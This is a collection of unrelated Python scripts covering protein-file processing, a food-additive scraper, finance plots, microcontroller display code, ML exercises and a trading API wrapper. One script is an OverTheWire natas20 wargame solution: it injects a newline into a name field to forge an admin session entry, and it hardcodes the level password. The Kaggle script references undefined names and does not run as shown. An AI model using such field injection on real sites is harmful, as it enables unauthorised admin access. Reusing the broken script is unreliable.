            include = ["CONECT", "REMARK", "CRYST", "SEQRES", "HEADER", "TITLE", "ANISOU"]

        with open(self.pdbfile, "r") as pdb:
            for line in pdb:
                if (
                    line.startswith("HETATM")
                    and line.split()[3] not in self.non_ligs
                    or any([line.startswith(x) for x in include])
                ):
                    continue
                else:
                    lines += line

        self.apo_file = self.output_dir / (self.filebase + "_apo.pdb")
        f = open(self.apo_file, "w")
        f.write(str(lines))
        f.close()

        if self.biomol is not None:
            print("Attaching biomol headers")
            self.add_biomol_remark()

    def create_apo_solv_desolv(self):
        """
        Creates two files:
        _apo-desolv - as _apo, but without solvent, ions and buffers;
        _apo-solv - just the ions, solvent and buffers

        :returns: Created file names
        """

        if not self.apo_file:
            print("Apo file has not been created. Use pdb_apo().make_apo_file()")
            exit(1)

        prot_file_name = self.output_dir / (self.filebase + "_apo-desolv.pdb")
        prot_file = open(prot_file_name, "w")
        self.apo_desolv_file = prot_file_name
        solv_file_name = self.output_dir / (self.filebase + "_apo-solv.pdb")
        solv_file = open(solv_file_name, "w")
        self.apo_solv_file = solv_file_name

        for line in open(self.apo_file).readlines():
            if line.startswith("HETATM"):
                solv_file.write(line)
            else:
                prot_file.write(line)
        solv_file.close()
        prot_file.close()

        return prot_file_name, solv_file_name

    def _extract_residue_as_list(self, chain, res_id):
        """
        Extracts out the lines corresponding a particular chain and residue
        :param chain: e.g. A
        :param res_id: e.g. 123
        :return: The lines of the PDB corresponding to the specified residue
        """

        s = str(res_id)
        if len(s) == 1:
            id = '   ' + s
        elif len(s) == 2:
            id = '  ' + s
        elif len(s) == 3:
            id = ' ' + s
        elif len(s) == 4:
            id = s
        else:
            raise ValueError('Unexpected residue ID: ' + res_id)

        ligand_lines = []
        with open(self.pdbfile, "r") as pdb:
            for line in pdb:
                if line.startswith("HETATM") or line.startswith("ATOM"):
                    if line[21] == chain and line[22:26] == id:
                        ligand_lines.append(line)
        return ligand_lines

    def extract_residue(self, chain, res_id):
        return ''.join(self._extract_residue_as_list(chain, res_id))

    def extract_coordinates(self, chain, res_id):
        lines = self._extract_residue_as_list(chain, res_id)
        result = {}
        for line in lines:
            if line.startswith("HETATM") or line.startswith("ATOM"):
                atom_id = line[12:16].strip()
                x = float(line[30:38].strip())
                y = float(line[38:46].strip())
                z = float(line[46:54].strip())
                result[atom_id] = (x, y, z)
        return result

    def create_ligands(self, chain: str, res_id, cif_file: str):
        """
        Generate a Molfile for the specified ligand
        :param chain: e.g. A
        :param res_id: e.g. 123 (int or str)
        :param cif_file: CIF file with the expected topology
        :return: The generated RDKit Mol
        """

        mol = utils.gen_mol_from_cif(cif_file)
        mol.RemoveAllConformers()

        coords = self.extract_coordinates(chain, res_id)
        conf = Chem.Conformer()
        missing = []
        for atom_id, pos in coords.items():
            found = False
            for atom in mol.GetAtoms():
                if atom.GetProp('atom_id') == atom_id:
                    # res_info = Chem.AtomPDBResidueInfo(atom_id, chainId=chain, insertionCode=str(res_id),
                    #                                    isHeteroAtom=True, residueName='LIG')
                    # atom.SetPDBResidueInfo(res_info)
                    idx = atom.GetIdx()
                    point = Geometry.Point3D(pos[0], pos[1], pos[2])
                    conf.SetAtomPosition(idx, point)
                    found = True
                    continue
            if not found:
                missing.append(atom_id)
        if missing:
            print('atoms not present in cif molecule:', missing)

        mol.AddConformer(conf)
        Chem.AssignStereochemistryFrom3D(mol)

        self.ligand_base_file = self.output_dir / (self.filebase + "_ligand")
        mol.SetProp('_Name', str(self.filebase))
        self.smiles = Chem.MolToSmiles(mol)
        Chem.MolToMolFile(mol, str(self.ligand_base_file) + '.mol')
        Chem.MolToPDBFile(mol, str(self.ligand_base_file) + '.pdb')
        with open(str(self.ligand_base_file) + '.smi', 'wt') as f:
            f.write(self.smiles)

        return mol

    def extract_sequences(self):
        if not self.apo_desolv_file:
            self.create_apo_solv_desolv()
        pdb_file = open(self.output_dir / (self.filebase + "_apo-desolv.pdb"), "rt")
        lines = pdb_file.readlines()
        curr_chain = None
        curr_resno = 0
        curr_seq = None
        seqs = []
        for line in lines:
            if line.startswith('ATOM'):
                alt = line[16].strip()
                chain = line[21].strip()
                code = line[17:20].strip()
                resno = int(line[22:26].strip())
                if chain != curr_chain:
                    curr_chain = chain
                    curr_seq = ProteinSeq(chain, [], start=int(resno))
                    seqs.append(curr_seq)
                if resno != curr_resno:
                    for i in range(resno - curr_resno - 1):
                        curr_seq.seq.append('UNK')
                    curr_resno = resno
                    curr_seq.seq.append(code)
        return seqs

class ProteinSeq:
    def __init__(self, chain, seq, start=1):
        self.chain = chain
        self.seq = seq
        self.start = start

    def create_seqres_header(self):
        line_res = []
        lines = []
        line_count = 1
        num_res_str = str(len(self.seq)).rjust(4, ' ')
        for i, res in enumerate(self.seq):
            if i > 0 and i % 13 == 0:
                lines.append(
                    'SEQRES {} {} {}  {}'.format(
                        str(line_count).rjust(3, ' '), self.chain, num_res_str, ' '.join(line_res)
                    )
                )
                line_count += 1
                line_res = []
            line_res.append(res)
        if line_res:
            lines.append(
                'SEQRES {} {} {}  {}'.format(
                    str(line_count).rjust(3, ' '), self.chain, num_res_str, ' '.join(line_res)
                )
            )
        return '\n'.join(lines)

def main():
    parser = argparse.ArgumentParser(description="pdb_xtal")

    parser.add_argument("-p", "--pdb", required=True, help="PDB file")
    parser.add_argument("-o", "--output-dir", required=True, help="Output directory")
    parser.add_argument("-k", "--keep-headers", action="store_true", help="Keep headers")
    parser.add_argument("-b", "--biomol_txt", help="Biomol Input txt file")
    parser.add_argument("-c", "--chain", default="A", help="Protein chain")
    parser.add_argument("-r", "--residue", help="Ligand residue number")
    parser.add_argument("-f", "--cif", help="CIF file with the ligand topology")

    args = parser.parse_args()
    print("pdb_xtal: ", args)

    p = PDBXtal(args.pdb, args.output_dir, biomol=args.biomol_txt)
    errors = p.validate()
    if errors:
        print("There were validation errors. Please fix and re-run")
        exit(1)

    p.create_apo_file(keep_headers=args.keep_headers)
    p.create_apo_solv_desolv()
    if args.residue and args.cif:
        lig_mol = p.create_ligands(args.chain, args.residue, args.cif)
        print(lig_mol)
    seqs = p.extract_sequences()
    for seq in seqs:
        print(seq.create_seqres_header())
    print("Done")

if __name__ == "__main__":
    main()


import requests
from bs4 import BeautifulSoup
import sqlite3

response = requests.get(
    'https://pl.wikipedia.org/wiki/Lista_chemicznych_dodatk%C3%B3w_do_%C5%BCywno%C5%9Bci#E100%E2%80%93E199_(barwniki)')

soup = BeautifulSoup(response.text, 'html.parser')
e_code = []
e_name = []
rows = []
codes = []

e_database = sqlite3.connect('e_database.db')

cur = e_database.cursor()

cur.execute("DROP TABLE IF EXISTS E_TABLE;")

cur.executescript("""
    CREATE TABLE IF NOT EXISTS E_TABLE
    (ID INTEGER PRIMARY KEY ASC,
    KOD varchar(10) NOT NULL,
    NAZWA varchar(250) NOT NULL)""")
e_database.commit()

# sprawdzenie czy kod e istnieje -> jeśli tak to zwrotka z nazwa
def check_e_code(user_e):
    if any(user_e in e for e in e_code):
        counter = 0
        for e in e_code:
            if user_e in e:
                print(e + " " + e_name[counter])
            counter = counter + 1
    else:
        print("Brak kodu w bazie")

# sprawdzenie czy nazwa e istnieje -> jeśli tak to zwrotka z kodem e
def check_e_name(user_e_name):
    if any(user_e_name in e for e in e_name):
        counter = 0
        for e in e_name:
            if user_e_name in e:
                print(e_code[counter] + " " + e)
            counter = counter + 1
    else:
        print("Brak nazwy w bazie")

# sprawdzenie poprawnosci wejscia
def inputChoice():
    number = input("Twój wybór: ")
    if number.isdigit():
        return int(number)
    else:
        print("Brak takiej opcji w menu, wybierz właściwą opcję!")
        inputChoice()

tables = soup.find_all("table", class_="wikitable sortable")
for table in tables:
    rows.append(table.find_all('tr'))

e_database = sqlite3.connect("e_database.db")

for row in rows:
    for setx in row:
        if setx.find('td') is not None:
            cur.execute("INSERT INTO E_TABLE VALUES (NULL,?,?);", (setx.find_all('td')[0].text, (setx.find_all('td')[1].text).lower()))
            e_database.commit()

cur.execute("SELECT KOD, NAZWA FROM E_TABLE")

codes = cur.fetchall()

e_database.close()

#rozbicie listy list na pojedyncze listy
e_code, e_name = zip(*codes)

print("Ten program jest bazą dodatków chemicznych do żywności.\n"
      "Wybierz opcję \"Podaj e\" aby przeszkać bazę pod kątem numeru e, lub \"Podaj nazwę\" aby przeszukać pod kątem nazwy. \n"
      "Obie opcje przeszukją cząstkowo, tj. po wprowadzeniu \"e12\" program zwróci wszyskie e zaczynające się od \"e12\"")

while True:
    print("\n(1) Podaj e")
    print("(2) Podaj nazwę")
    print("(3) Wyjdź")

    choice = inputChoice()

    if choice == 1:
        user_e = input("Podaj kod e: ").upper()
        check_e_code(user_e)
    elif choice == 2:
        user_e_name = input("Podaj nazwe e: ").lower()
        check_e_name(user_e_name)
    elif choice == 3:
        break;

print("Koniec programu!")


# -*- coding:utf8 -*-

import requests

url = "http://natas20.natas.labs.overthewire.org/index.php?debug=true&name="
auth = ("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF")
inj = "lol%5Cnadmin 1"

data = { "name" : "lol\nadmin 1"}

r = requests.post(url, auth=auth, data=data)
print(r.text)


# -*- coding: utf-8 -*-
"""
Created on Wed Dec 12 14:53:42 2018

@author: chuny
Based on https://www.learndatasci.com/tutorials/python-finance-part-2-intro-quantitative-trading-strategies/

"""

from pandas_datareader import data
import pandas as pd
import numpy as np
import matplotlib.pylab as plt
import seaborn as sns
import matplotlib.dates as mdates

my_year_mpnth_fmt=mdates.DateFormatter('%m/%y')

tickers=['AAPL','MSFT','^GSPC']

start_date='20100101'
end_date='20161231'
close = pd.DataFrame()
for ticker in tickers:
    panel_data=data.DataReader(ticker,'yahoo',start_date,end_date)
    close[ticker]=panel_data['Close']

all_weekdays=pd.date_range(start=start_date,end=end_date,freq='B')

close=close.reindex(all_weekdays)
close=close.fillna(method='ffill')

short_rolling=close.rolling(window=20).mean()
long_rolling = close.rolling(window=100).mean()

returns = close.pct_change(1)
log_returns = np.log(close).diff()
'''
fig,ax0=plt.subplots(1,1,figsize=(10,8))

ax0.plot(close.index,(np.exp(log_returns['AAPL'].cumsum()) - 1),'k',label='Returns')
ax0.plot(close.index,log_returns['AAPL'].cumsum(),'r',label='Log Returns')
ax0.legend()

'''
weights_matrix= pd.DataFrame(1/3, index=close.index, columns=close.columns)
temp_var = weights_matrix.dot(log_returns.transpose())
portfolio_log_returns = pd.Series(np.diag(temp_var), index=log_returns.index)

total_relative_returns = (np.exp(portfolio_log_returns.cumsum()) - 1)

fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(10,8))

ax1.plot(portfolio_log_returns.index, portfolio_log_returns.cumsum(),label='Cumulative log return')
ax1.set_ylabel('Portfolio cumulative log returns')
ax1.legend()
ax2.plot(total_relative_returns.index, 100 * total_relative_returns,label='Portfolio total relative returns')
ax2.set_ylabel('Portfolio total relative returns (%)')
ax2.legend()
plt.show()


# ****************************************
#
# Learning Micro Python and programming with ESP32
# By: Avi Salmon
# All instructions on github/avisalmon/TBD
#
# Lesson 1: Text
# ****************************************

# Make sure to upload all files in the directory Upload_these_to_device to the dvice.
# Right click on the files and upload.

from machine import Pin, I2C
import ssd1306
from font import Font

i2c = I2C(scl=Pin(22), sda=Pin(21), freq=4000000)
display = ssd1306.SSD1306_I2C(128, 64, i2c)  # display object

display.fill(0)

# simple built in text:
display.text('First Line', 0, 0, 1)
display.text('Second Line', 0, 10, 1)
display.text('placed Line', 40, 20, 1)

# special fonts:
f=Font(display)
#f.text("8",0,50,8) #8 pix
f.text("16",0,30,16) #16 pix
f.text("24",30,30,24) #24 pix
f.text("32",60,30,32) #32 pix

display.show()

# our screen:
# 0,0			127,0
#
# 0,63			127,63

#Now you:
# 1. Write your name. Big time. and your fhone smaller.


#!/usr/bin/python3
# x and y as coordinates

tableData = [['apples', 'oranges', 'cherries', 'banana'],
             ['Alice', 'Bob', 'Carol', 'David'],
             ['dogs', 'cats', 'moose', 'goose']]

def printTable(data):
    colWidths = [0] * len(data)
    for y in range(len(data)):
        for x in data[y]:
            if colWidths[y] < len(x):
                colWidths[y] = len(x)

    for x in range(len(data[0])):
        for y in range(len(data)):
                print(data[y][x].rjust(colWidths[y]), end = ' ')
        print()

printTable(tableData)


import numpy as np
from ignm.gasPhaseSolver import yin

class IgnitionOde:
    def __init__(self,gas,mesh,constants, Tin, Jin, yin):

        self.gas = gas
        self.nsp = gas.n_species
        self.MW = gas.molecular_weights
        self.mesh = mesh
        self.cpa = constants[0]
        self.rhoa = constants[1]
        self.da = constants[2]
        self.ya = constants[3]
        self.Tin = Tin
        self.Jin = Jin
        self.Yin = yin

    def __call__(self, t, y):
        """the ODE function, y' = f(t,y) """

        # State vector is [Y_1, Y_2, ... Y_K, T]
        T = y[self.nsp*self.mesh.n:]
        yj = np.zeros((self.nsp,self.mesh.n))
        wdot = np.zeros((self.nsp,self.mesh.n))
        cp = np.zeros(self.mesh.n)
        cps = np.zeros(self.mesh.n)
        ds = np.zeros(self.mesh.n)
        #rho = np.zeros(self.mesh.n)
        Tprime = np.zeros(self.mesh.n)
        d = np.zeros(self.mesh.n)
        dh = np.zeros((self.nsp,self.mesh.n))
        dyjdt = np.zeros((self.nsp,self.mesh.n))

        for i in range(0,self.mesh.n):
            yj[:,i] = y[self.nsp*i:self.nsp*i+self.nsp]
            self.gas.set_unnormalized_mass_fractions(yj[:,i])
            self.gas.TP = T[i], 101325.0
            if T[i]>600:
                dh[:,i] = self.gas.partial_molar_enthalpies
                wdot[:,i] = self.gas.net_production_rates
            cp[i] = self.gas.cp
            # Diffusion coefficient
            d[i] = self.gas.thermal_conductivity/(self.rhoa*cp[i])
            # Evaluate heat capacity and diffusion coefficient at side boundaries
            cps[i] = (cp[i]+self.cpa)/2
            ds[i] = d[i]*self.da/(self.da+(d[i]-self.da)/2)

        Tprime[0] = (-(np.dot(dh[:,0],wdot[:,0])) - self.Jin(t)*cp[0]*(T[0]-self.Tin(t))/self.mesh.dz\
                        + 4*self.rhoa*ds[0]*cps[0]*(300-T[0])/(self.mesh.dx**2))/(self.rhoa*cp[0])
        # Diffusive fluxes at the side boundaries
        jxw = self.rhoa*ds[0]*(yj[:,0]-self.ya)/(self.mesh.dx/2)
        jxe = self.rhoa*ds[0]*(self.ya-yj[:,0])/(self.mesh.dx/2)

        dyjdt[:,0] = (wdot[:,0]*self.MW - self.Jin(t)*(yj[:,0]-yin(t,self.nsp,self.Yin))/self.mesh.dz\
                        -(jxe-jxw)/self.mesh.dx)/(self.rhoa)

        for i in range(1,self.mesh.n):
            Tprime[i] = (-(np.dot(dh[:,i],wdot[:,i])) - self.Jin(t)*cp[i]*(T[i]-T[i-1])/self.mesh.dz\
                            + 4*self.rhoa*ds[i]*cps[i]*(300-T[i])/(self.mesh.dx**2))/(self.rhoa*cp[i])

            # Diffusive fluxes at the side boundaries
            jxw = self.rhoa*ds[i]*(yj[:,i]-self.ya)/(self.mesh.dx/2)
            jxe = self.rhoa*ds[i]*(self.ya-yj[:,i])/(self.mesh.dx/2)

            dyjdt[:,i] = (wdot[:,i]*self.MW - self.Jin(t)*(yj[:,i]-yin(t,self.nsp,self.Yin))/self.mesh.dz\
                            -(jxe-jxw)/self.mesh.dx)/(self.rhoa)

        print(t)
        return np.hstack((dyjdt.flatten(order='F'), Tprime))


if __name__=='__main__':

    n,m,k = map(int,input().split(' '))
    M = list(list('0' for i in range(m)) for i in range(n))
    tR, tC,C = [0]*n, [0]*m, [0]*(k+1)
    for i in range(1,k+1):
        tQ,pQ,C[i]= map(int,input().split(' '))
        print(tR,tC,C)
        if tQ==1:       tR[pQ-1]=i
        elif tQ==2:     tC[pQ-1]=i
        print(tR,tC,C)
    for i in range(n):
        finalStr= ''
        for j in range(m):
            finalStr += str(C[max(tR[i],tC[j])])
            finalStr +=' '
        print(finalStr)

'''
Print Check
time limit per test
1 second
memory limit per test
256 megabytes
input
standard input
output
standard output

Kris works in a large company "Blake Technologies". As a best engineer of the company he was assigned a task to develop a printer that will be able to print horizontal and vertical strips. First prototype is already built and Kris wants to tests it. He wants you to implement the program that checks the result of the printing.

Printer works with a rectangular sheet of paper of size n × m. Consider the list as a table consisting of n rows and m columns. Rows are numbered from top to bottom with integers from 1 to n, while columns are numbered from left to right with integers from 1 to m. Initially, all cells are painted in color 0.

Your program has to support two operations:

    Paint all cells in row ri in color ai;
    Paint all cells in column ci in color ai.

If during some operation i there is a cell that have already been painted, the color of this cell also changes to ai.

Your program has to print the resulting table after k operation.
Input

The first line of the input contains three integers n, m and k (1  ≤  n,  m  ≤ 5000, n·m ≤ 100 000, 1 ≤ k ≤ 100 000) — the dimensions of the sheet and the number of operations, respectively.

Each of the next k lines contains the description of exactly one query:

    1 ri ai (1 ≤ ri ≤ n, 1 ≤ ai ≤ 109), means that row ri is painted in color ai;
    2 ci ai (1 ≤ ci ≤ m, 1 ≤ ai ≤ 109), means that column ci is painted in color ai.

Output

Print n lines containing m integers each — the resulting table after all operations are applied.
Examples
Input

3 3 3
1 1 3
2 2 1
1 2 2

Output

3 1 3
2 2 2
0 1 0

Input

5 3 5
1 1 1
1 3 1
1 5 1
2 1 1
2 3 1

Output

1 1 1
1 0 1
1 1 1
1 0 1
1 1 1
'''


# Approach
# Read the text file with all the vector data
# Use plotting library to dislpay the map
# Plot tutorial found on: https://stackoverflow.com/questions/12265234/how-to-plot-2d-math-vectors-with-matplotlib

import numpy as np
import matplotlib.pyplot as plt
import ast

path_to_txt_file = 'map_vectors.txt'
f = open(path_to_txt_file,'r')
lines = f.read().splitlines()
vectors = []
for i in lines:
    vectors.append(ast.literal_eval(i))
soa = np.array(vectors)
X,Y,U,V = zip(*soa)
plt.figure()
ax = plt.gca()
ax.quiver(X,Y,U,V,angles='xy',scale_units='xy',scale=1)
ax.set_xlim([-5,10])
ax.set_ylim([-5,10])
plt.draw()
plt.show()


import subprocess

# Read the list of changed files from the text file
with open('changed_files.txt', 'r') as file:
    changed_files = file.read().splitlines()

# Define the maximum number of files per commit
files_per_commit = 2  # Adjust this value based on your requirements

# Split the list of changed files into smaller chunks
file_chunks = [changed_files[i:i + files_per_commit] for i in range(0, len(changed_files), files_per_commit)]

# Iterate through the file chunks and create smaller commits
for idx, chunk in enumerate(file_chunks):
    # Stage the files for the commit
    subprocess.run(['git', 'add'] + chunk)

    # Commit the changes
    commit_message = f"Split commit {idx + 1}"
    subprocess.run(['git', 'commit', '-m', commit_message])

# Push the changes to the remote repository
subprocess.run(['git', 'push', '--force', 'https://HF_USERNAME:$HF_TOKEN@huggingface.co/spaces/counito/EcoSentry', 'main'])


# importing DataFrames Lib - Pandas
import pandas as pd
# Decision Tree Model
from sklearn.tree import DecisionTreeRegressor

# Path of the file to read
iowa_file_path = '../input/home-data-for-ml-course/train.csv'
home_data = pd.read_csv(iowa_file_path)

# Definindo Target(y) e Features(X)
y = home_data.SalePrice
feature_columns = ['LotArea', 'YearBuilt', '1stFlrSF', '2ndFlrSF', 'FullBath', 'BedroomAbvGr', 'TotRmsAbvGrd']
X = home_data[feature_columns]

# Import the train_test_split function
from sklearn.model_selection import train_test_split
# Spliting DataSet( X e y ) into training (train_) and Validating(val_) Sets
train_X, val_X, train_y, val_y = train_test_split(X, y, random_state = 1)

# Specify Model
name_model = DecisionTreeRegressor(random_state=1)   #(random_state=num_inteiro)
# Fit Model
name_model.fit(train_X, train_y)

# Predict with all validation observations
val_predictions = name_model.predict(val_X)  #para parte do DataFrame, val_X.head() por exemplo.
#print("First in-sample predictions:", iowa_model.predict(X.head()))
print("Actual target values for those homes:", y.head().tolist())

# print the top few validation predictions
print(iowa_model.predict(val_X.head()))
# print the top few actual prices from validation data
print(val_y.head().tolist())

print(mean_absolute_error(val_y, val_predictions))

# Make validation predictions and calculate mean absolute error
val_predictions = name_model.predict(val_X)
#print(mean_absolute_error(val_y, val_predictions))
val_mae = mean_absolute_error(val_predictions, val_y)
print("Validation MAE: {:,.0f}".format(val_mae))

#===== iteração 1 =============
candidate_max_leaf_nodes = [5, 25, 50, 100, 500, 600]
# Write loop to find the ideal tree size from candidate_max_leaf_nodes
best_leaf_nodes_value = 0
min_mae = 100000
for max_leaf_nodes in candidate_max_leaf_nodes:
    my_mae = get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y)
    print("Max leaf nodes: %d  \t\t Mean Absolute Error:  %d" %(max_leaf_nodes, my_mae))
    if my_mae < min_mae:
        best_leaf_nodes_value = max_leaf_nodes
        min_mae = my_mae
# Store the best value of max_leaf_nodes (it will be either 5, 25, 50, 100, 250 or 500)
best_tree_size = best_leaf_nodes_value

#===== iteração 2 =============
scores = {leaf_size: get_mae(leaf_size, train_X, val_X, train_y, val_y) for leaf_size in candidate_max_leaf_nodes}
best_tree_size = min(scores, key=scores.get)

R


from datetime import datetime
from mtgoxHttpInterface import MtgoxHttpInterface

class MtgoxTranslator(object):
	def __init__(self, auth):
		self.httpInterface = MtgoxHttpInterface(auth['key'],auth['secret'])
		self.orderTypes = {}

	def get_ticker(self):
		tickQry = self.httpInterface.get_ticker()
		if 'error' not in tickQry:
			ticker = {'time':datetime.today().strftime('%y-%m-%d %H:%M:%S'),
			          'price':float(tickQry['ticker']['last']),
					  'bid':float(tickQry['ticker']['buy']),
					  'ask':float(tickQry['ticker']['sell'])}
			tickQry = ticker
		return tickQry

	def get_depth(self):
		depthQry = self.httpInterface.get_depth()
		if 'error' not in depthQry:
			depth = {'time':datetime.today().strftime('%y-%m-%d %H:%M:%S'),
			         'bid':[],'ask':[]}
			for order in depthQry['asks']:
				depth['ask'].append(order)
			depthQry['bids'].reverse() # normally low to high (price)
			for order in depthQry['bids']:
				depth['bid'].append(order)
			depthQry = depth
		return depthQry

	def get_account(self):
		accountQry = self.httpInterface.get_info()
		if 'error' not in accountQry:
			balance = {'usd':float(accountQry['Wallets']['USD']['Balance']['value']),
					   'btc':float(accountQry['Wallets']['BTC']['Balance']['value'])}
			fee = float(accountQry['Trade_Fee'])
			accountQry = {'time':datetime.today().strftime('%y-%m-%d %H:%M:%S'),
			              'balance':balance,
			              'fee':fee}
		return accountQry

	def get_orders(self):
		orderQry = self.httpInterface.get_orders()
		if 'error' not in orderQry:
			self.orderTypes = {}
			orderList = []
			for order in orderQry['orders']:
				otype = 'buy' if order['type'] == 2 else 'sell'
				self.orderTypes[order['oid']] = order['type']
				orderList.append({'id':order['oid'],
								  'type':otype,
								  'amount':float(order['amount']),
								  'price':float(order['price'])})
			orderQry = orderList
		return orderQry

	def buy_btc(self,amount,price = 0):
		if amount < 0.01:
			return {'error':'Must trade at least 0.01'}
		buyQry = self.httpInterface.buy_btc(amount,price)
		if 'error' not in buyQry:
			self.orderTypes[buyQry['oid']] = 2
			order = {'id':buyQry['oid'],
					 'type':'buy',
					 'amount':amount,
					 'price':price}
			buyQry = order
		return buyQry

	def sell_btc(self,amount,price = 0):
		if amount < 0.01:
			return {'error':'Must trade at least 0.01'}
		sellQry = self.httpInterface.sell_btc(amount,price)
		if 'error' not in sellQry:
			self.orderTypes[sellQry['oid']] = 1
			order = {'id':sellQry['oid'],
					 'type':'sell',
					 'amount':amount,
					 'price':price}
			sellQry = order
		return sellQry

	def cancel_order(self,oid):
		if oid not in self.orderTypes:
			return {'error':'That is not a valid order id'}
		cancelQry = self.httpInterface.cancel_order(oid,self.orderTypes[oid])
		if 'error' not in cancelQry:
			self.orderTypes.pop(oid)
			cancelQry = {'id':oid}
		return cancelQry


from model_selection_framework.search import *
from sklearn.linear_model import LogisticRegression
import warnings
warnings.simplefilter("ignore")

lr_configs = {
    'folder': 'tests',
    'model_init': LogisticRegression,
    'name': 'LogisticRegression',
    'init_parameters': {
        'solver': ['saga'],
        'penalty': ['l1', 'l2', 'elasticnet'],
        'tol': [0.1, 0.01, 0.001, 0.0001, 0.00001],
        'C': [0.01, 0.1, 0.5, 1.0, 1.5, 2.5, 10, 25, 50],
        'fit_intercept': [True, False],
        'l1_ratio': [0.5]
    }
}

from project_code.data_utils import *

users_df, cls_embedding, mean_embedding = read_data('data')
users_df[y_col] = (users_df[y_col] > 0) * 1
merged_df = merge_tables(users_df, cls_embedding, mean_embedding)
cls_cols = [c for c in merged_df.columns if c.endswith('_cls')]
mean_cols = [c for c in merged_df.columns if c.endswith('_mean')]
train, test = split_data(merged_df, test_size=0.3, random_state=42, regular=False)
preprocess = Preprocess()
train[facebook_cols + demo_cols] = preprocess.scale(train[facebook_cols + demo_cols], True)
test[facebook_cols + demo_cols] = preprocess.scale(test[facebook_cols + demo_cols], False)
train[facebook_cols + demo_cols] = preprocess.fillna(train[facebook_cols + demo_cols], True)
test[facebook_cols + demo_cols] = preprocess.fillna(test[facebook_cols + demo_cols], False)
X_cols = facebook_cols + demo_cols + personal_cols + psychosocial_cols + psychiatric_cols + cls_cols + mean_cols
X_train, X_test, y_train, y_test = train[X_cols], test[X_cols], train[y_col], test[y_col]
results = search(lr_configs, (X_train, y_train), (X_test, y_test), search_type='greedy',
                max_iter=100, metric='accuracy', max_rounds=3, random_start=10, beam_size=3)


import pytest

from caluma.caluma_analytics import (
    models as analytics_models,
    schema as analytics_schema,
)
from caluma.caluma_form import models as form_models, schema as form_schema
from caluma.caluma_user.models import OIDCUser
from caluma.caluma_workflow import models as workflow_models, schema as workflow_schema
from caluma.caluma_workflow.api import complete_work_item
from caluma.extensions.settings import settings
from caluma.extensions.visibilities import MySAGWVisibility

@pytest.mark.usefixtures("_caluma_data")
@pytest.mark.parametrize(
    "user_name,visibility_map",
    [
        (
            "admin",
            {
                "Form": 8,
                "WorkItem": 16,
                "Document": 10,
                "Case": 6,
                "Question": 22,
                "Answer": 7,
                "AnalyticsTable": 1,
            },
        ),
        (
            "test",
            {
                "Form": 8,
                "WorkItem": 5,
                "Document": 3,
                "Case": 3,
                "Question": 22,
                "Answer": 4,
                "AnalyticsTable": 0,
            },
        ),
    ],
)
def test_visibilities_default(
    db,
    case_access_event_mock,
    create_document_review_case,
    admin_info,
    admin_user,
    requests_mock,
    analytics_table,
    user_name,
    visibility_map,
    work_item_factory,
    snapshot,
):
    admin_info.context.user.username = user_name
    admin_info.context.user.groups = [user_name]
    admin_info.context.user.group = user_name

    admin_user = OIDCUser(
        b"sometoken",
        {"sub": "admin", settings.OIDC_GROUPS_CLAIM: ["admin"]},
    )
    user = OIDCUser(
        b"sometoken",
        {"sub": user_name, settings.OIDC_GROUPS_CLAIM: [user_name]},
    )

    def prepare_case(case_identifier):
        case = create_document_review_case()
        case.meta = {"identifier": case_identifier}
        case.save()
        complete_work_item(case.work_items.get(task_id="submit-document"), admin_user)
        case.work_items.get(task_id="review-document").document.answers.create(
            question_id="review-document-decision",
            value="review-document-decision-continue",
        )
        complete_work_item(case.work_items.get(task_id="review-document"), admin_user)
        return case

    # case_1 with access
    case_1 = prepare_case("access")
    data = {"data": [{"attributes": {"case-id": str(case_1.pk)}}]}
    requests_mock.get(f"{settings.API_BASE_URI}/case/accesses", json=data)

    # case_2 with circulation invite
    case_2 = prepare_case("circulation")
    case_2_circulation = case_2.work_items.get(task_id="circulation").child_case
    work_item_factory(
        case=case_2_circulation,
        assigned_users=[user.username],
        task=workflow_models.Task.objects.get(slug="circulation-decision"),
        document__form=form_models.Form.objects.get(slug="circulation-form"),
        child_case=None,
    )

    # case_3 no access for non-admin
    prepare_case("only admin")

    test_map = [
        (
            form_models.Form,
            form_schema.Form,
            ["pk"],
        ),
        (
            workflow_models.WorkItem,
            workflow_schema.WorkItem,
            ["task_id", "case__workflow_id"],
        ),
        (
            form_models.Document,
            form_schema.Document,
            ["work_item__task_id", "case__workflow_id"],
        ),
        (
            workflow_models.Case,
            workflow_schema.Case,
            ["family__meta__identifier", "workflow__pk"],
        ),
        (
            form_models.Question,
            form_schema.Question,
            ["pk"],
        ),
        (
            form_models.Answer,
            form_schema.Answer,
            ["question__pk", "value"],
        ),
        (
            analytics_models.AnalyticsTable,
            analytics_schema.AnalyticsTable,
            ["pk"],
        ),
    ]

    vis = MySAGWVisibility()

    for model, node, values_list in test_map:
        queryset = model.objects.all()
        filtered = vis.filter_queryset(node, queryset, admin_info)
        assert filtered.count() == visibility_map[model.__name__]
        values_to_snapshot = [
            tuple(xi for xi in v if xi is not None)
            for v in filtered.values_list(*values_list)
        ]

        assert sorted(values_to_snapshot) == snapshot(name=model.__name__)


import requests
url=[
    'https://www.greatpetcare.com/cat-food/best-cat-food/',
    'https://www.thesprucepets.com/best-premium-dry-cat-food-4150202',
    'https://nymag.com/strategist/article/best-cat-food.html',
]
for kamal in url:
    r=requests.get(kamal)
    text=f'{kamal}----{r.status_code}'
    file=open('link check.txt','a+')
    file.writelines(text+ '\n')
    file.close()
    file=open('link check.txt','r+')
    url_list=file.readlines()
    file.close()
    print(url_list)

# for link in url:
#     r=requests.get(link)
#     text=f'{link}---{r.status_code}'
#     file=open('link status.txt','a+')
#     file.writelines(text+'\n')
#     file.close()
#     file=open('link status.txt','r+')
#     url_list=file.readlines()
#     file.close()
#     print(url_list)
# text='kamal bhaier line ekhon direct'
# file=open('kamal.txt','a+')
# file.writelines(text+ '\n')
# file.close()
# kamal='hoga mara khaiya boisa ache'
# file=open('text file.txt','a+')
# file.writelines(kamal+ '\n')
# file.close()


# Streamux main class
#
# The Streamux main class aggregates the functionality of the other
# components and handles initialization.

import sys
import logging
import optparse
import ConfigParser

import streamux.db

__version__ = "dev build"

def error_and_exit(msg):
  """Log the given message as critical and exit with exit code 1."""
  logging.critical(msg)
  sys.exit(1)

class StreamuxApp(object):
  """Main Streamux class. Handles application initialization."""

  def _parse_args(self):
    """Parse the commandline arguments and store them in the app
    object. Exits if something is wrong, otherwise returns after
    assigning self.options and self.config_file."""

    usage = "usage: %prog [options] <configuration file>"
    version = "%%prog %s" % __version__

    parser = optparse.OptionParser(usage=usage, version=version)
